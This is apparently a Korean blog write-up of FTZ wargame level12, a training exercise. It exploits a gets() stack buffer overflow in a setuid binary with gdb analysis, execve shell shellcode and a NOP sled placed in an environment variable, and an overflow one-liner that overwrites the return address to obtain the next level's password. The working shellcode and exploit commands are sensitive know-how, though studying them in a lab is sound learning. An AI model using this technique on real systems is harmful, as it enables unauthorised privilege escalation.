728x90
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main( void )
{
	char str[256];

 	setreuid( 3093, 3093 );
	printf( "문장을 입력하세요.\n" );
	gets( str );
	printf( "%s\n", str );
}
[level12@ftz tmp]$ gdb attackme -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:	push   ebp
0x08048471 <main+1>:	mov    ebp,esp
0x08048473 <main+3>:	sub    esp,0x108
0x08048479 <main+9>:	sub    esp,0x8
0x0804847c <main+12>:	push   0xc15
0x08048481 <main+17>:	push   0xc15
0x08048486 <main+22>:	call   0x804835c <setreuid>
0x0804848b <main+27>:	add    esp,0x10
0x0804848e <main+30>:	sub    esp,0xc
0x08048491 <main+33>:	push   0x8048538
0x08048496 <main+38>:	call   0x804834c <printf>
0x0804849b <main+43>:	add    esp,0x10
0x0804849e <main+46>:	sub    esp,0xc
0x080484a1 <main+49>:	lea    eax,[ebp-264]
0x080484a7 <main+55>:	push   eax
0x080484a8 <main+56>:	call   0x804831c <gets>
0x080484ad <main+61>:	add    esp,0x10
0x080484b0 <main+64>:	sub    esp,0x8
0x080484b3 <main+67>:	lea    eax,[ebp-264]
0x080484b9 <main+73>:	push   eax
0x080484ba <main+74>:	push   0x804854c
0x080484bf <main+79>:	call   0x804834c <printf>
0x080484c4 <main+84>:	add    esp,0x10

(gdb를 이용해 main 함수의 소스코드를 보려면 level12의 홈 디렉터리의 tmp 폴더로 attackme 실행파일을 복사한다. 그렇지 않으면 attackme엔 setuid가 걸려있어 어셈블리 코드를 볼 수 없다.)

gets 함수의 인자엔 str이 전달된다.

어셈블리 코드를 보면 str의 주소가 ebp-264인 것을 알 수 있다. 즉, str 배열은 스택의 [ebp-264]부터 256 bytes가 저장되어 있다.

그리고 264-256=8bytes는 dummy일 것이다. dummy아래론 sfp, retn주소가 존재할 것이다. 따라서 우리가 입력한 값이 str을 넘어 sfp(4 bytes)까지 아무 값으로 채우고 마지막 retn 주소에 환경변수의 주소를 저장한다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

먼저 환경 변수를 등록한다. \x90은 NOP을 의미하는데 CPU는 NOP을 만나면 무시하고 NOP이 아닌 값이 나타날 때까지 이동한다. \x90을 넣지 않으면 segmentation fault가 뜬다. 안 넣을 때와 비교해 보면 차이는 없던데 왜 안 넣으면 안 되는지는 모르겠다. 문법 관련해서는 다음의 링크를 참조 바란다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

vi 에디터를 이용해서 c 소스파일을 만들어서 컴파일한다.

#include <stdio.h>
int main(){
	printf("%p\n",getenv("sh"));
}

실행하면 환경 변수의 주소값이 나온다. 나의 경우는 0xbffffe69이다.

[level12@ftz tmp]$ ./getenv
0xbffffe69
[level12@ftz tmp]$ (python -c 'print "A"*268+"\x69\xfe\xff\xbf"';cat)|../attackme
문장을 입력하세요.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAi?
my-pass
TERM environment variable not set.

Level13 Password is "have no clue".

level11에서는 입력을 ./attackme `python -c 'print "A"'` 형식으로 입력했는데 이는 argv[1]을 입력받기에 그런 것이다.

level12에서는 gets 함수로 입력을 받기에 level11처럼 할 순 없다. gets 함수에 입력값을 전달하는 과정을 보자.

쉘에서 A프로그램|B프로그램의 의미는 A프로그램의 출력을 B프로그램의 입력으로 전달하라는 것이다.

A프로그램;B프로그램의 의미는 A프로그램을 실행 후 B프로그램을 실행하라는 것이다. A프로그램의 실행은 실패해도 B프로그램은 실행된다.

종합해 보면 python ~~ 명령을 실행 후 cat를 실행하는 구조이다. python 명령을 실행하여 뒤에 전달된 문자열들이 출력되는데 | 때문에 attackme에 입력값으로 전달된다. 따라서 gets 함수가 이를 입력받을 수 있는 것이다. ;cat를 사용해야 하는 이유는 쉘코드가 실행된 후에 입력값을 키보드로 전달하기 위함이다. cat 명령을 bash쉘에서 실행하면 내가 입력하는 값이 그대로 출력되는 것을 볼 수 있다. 따라서 ;cat | ../attackme를 통해 내가 입력한 값들을 attackme에 전달할 수 있는 것이다.

python -c 'print "A"*268+"\x69\xfe\xff\xbf"' 에서 \x69\xfe\xff\xbf 순서로 입력하는 이유는 리틀엔디안이라서 그렇다. 이렇게 전달하면 메모리상에는 bffffe69로 나타나는 것을 gdb를 통해 확인할 수 있다. 참고로 0xbf가 더 큰 주솟값을 가진다.

setuid가 설정되어 있기에 attackme 실행 시 euid가 level13이 되며 setreuid 함수를 통해 ruid와 euid를 level13으로 설정할 수 있다. 그 후에 main 함수 종료 시 retn 주소에 등록한 쉘 코드(환경 변수) 주소로 이동하여 쉘 코드를 실행한다. 현재 우리의 ruid와 euid는 level13이며 이때 my-pass를 입력하면 level13의 비밀번호가 출력된다. 참고로 쉘 코드가 실행되어도 AAAA... 가 출력 후 입력을 기다리는 상태로 있기에 쉘 실행이 티 나지 않아도 my-pass를 입력하면 된다.

level11과 12에서 bof의 기본 입력방식을 터득했다. 앞으론 이를 이용만 하면 된다.

level13의 비밀번호: have no clue

728x90

'FTZ' 카테고리의 다른 글

level14  (0) 2023.01.19
level13  (0) 2023.01.19
level11  (0) 2023.01.09
level10  (0) 2023.01.08
level9  (0) 2023.01.08

+ Recent posts